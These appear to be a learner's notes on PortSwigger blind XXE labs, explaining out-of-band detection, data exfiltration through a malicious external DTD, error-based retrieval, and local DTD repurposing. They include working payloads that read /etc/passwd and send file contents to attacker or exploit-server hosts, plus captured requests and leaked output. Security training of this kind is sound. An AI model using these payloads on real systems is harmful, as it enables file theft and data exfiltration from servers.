What is Blind XXE?

Many instances of XXE vulnerabilities are blind. This means that the application does not return the values of any defined external entities in its responses, and so direct retrieval of server-side files is not possible.

There are two broad ways in which you can find and exploit blind XXE vulnerabilities:

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting Blind XXE Using Out-of-band (OAST) Techniques

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control. For example, you would define an external entity as follows:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead.

XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. First, the declaration of an XML parameter entity includes the percent character before the entity name:

<!ENTITY % myparameterentity "my parameter entity value" >

And second, parameter entities are referenced using the percent character instead of the usual ampersand:

%myparameterentity;

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Lab: Blind XXE with Out-of-band Interaction

The original request:

POST /product/stock HTTP/2
Host: 0a2f0020041d941a80812627001000f2.web-security-academy.net
Cookie: session=HksoBgqFssma4UncNmIgCNdegJuif0Wc
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a2f0020041d941a80812627001000f2.web-security-academy.net
Referer: https://0a2f0020041d941a80812627001000f2.web-security-academy.net/product?productId=1
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ymooo3bu5lounahxhp3jhq3lgcm3atyi.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab: Blind XXE with Out-of-band Interaction via XML Parameter Entities

The original request:

POST /product/stock HTTP/2
Host: 0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Cookie: session=GJeYe8KrrY30G3zMsjJKBITpjboqZUbU
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Referer: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net/product?productId=1
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://fp85rkeb82rbqrkek660k762jtpkdb10.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Exploiting Blind XXE to Exfiltrate Data Out-of-band

An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker’s web server containing the value of the file entity within the URL query string.
  • Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.
  • Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.

The attacker might serve the malicious DTD at the following URL:

http://web-attacker.com/malicious.dtd

Finally, the attacker must submit the following XXE payload to the vulnerable application:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Note

This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL. In this situation, it might be possible to use the FTP protocol instead of HTTP. Sometimes, it will not be possible to exfiltrate data containing newline characters, and so a file such as /etc/hostname can be targeted instead.

Lab: Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD

Malicious DTD:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM ' https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;

Remember to change file name in the exploit server to malicious.dtd.

Payload injected into the request:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/malicious.dtd"> %xxe;]>

Logs on exploit server:

10.0.4.67       2024-08-31 11:01:28 +0000 "GET /malicious.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.4.67       2024-08-31 11:01:28 +0000 "GET /?x=754ef8d2e9cc HTTP/1.1" 200 "User-Agent: Java/21.0.1"

Exploiting Blind XXE to Retrieve Data via Error Messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve. This will be effective if the application returns the resulting error message within its response.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Lab: Exploiting Blind XXE to Retrieve Data via Error Messages

Malicious DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aba00370408435780c8e89e01260052.exploit-server.net/exploit"> %xxe;]>

Response has the content of /etc/passwd as expected:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
 
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Exploiting Blind XXE by Repurposing a Local DTD

Per the XML specification, the technique involves using an XML parameter entity within the definition of another parameter entity (using %eval; and %error; in the above labs) is permitted in external DTDs but not in internal DTDs (some parsers might tolerate it, but many do not).

So what about blind XXE vulnerabilities when out-of-band interactions are blocked? You can’t exfiltrate data via an out-of-band connection, and you can’t load an external DTD from a remote server.

If a document’s DTD uses both internal and external declarations, the internal DTD can override entities defined in the external DTD. This attack works by referencing a DTD file on the local filesystem and redefining an entity to cause a parsing error that reveals sensitive data.

For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file by submitting a hybrid DTD like the following:

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
	<!ENTITY % custom_entity '
		<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;error;
	'>
	%local_dtd;
]>

Locating an Existing DTD File to Repurpose

Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd. You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	%local_dtd;
]>

After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine.

Lab: Exploiting XXE to Retrieve Data by Repurposing a Local DTD

The file file:///usr/share/yelp/dtd/docbookx.dtd exists. This file has an entity named ISOamso as the hint mentioned.

Payload:

<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamso '
		<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;error;
	'>
	%local_dtd;
]>

Response has the content of /etc/passwd as expected:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
 
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
list
from outgoing([[Port Swigger - Blind XXE]])
sort file.ctime asc

Resources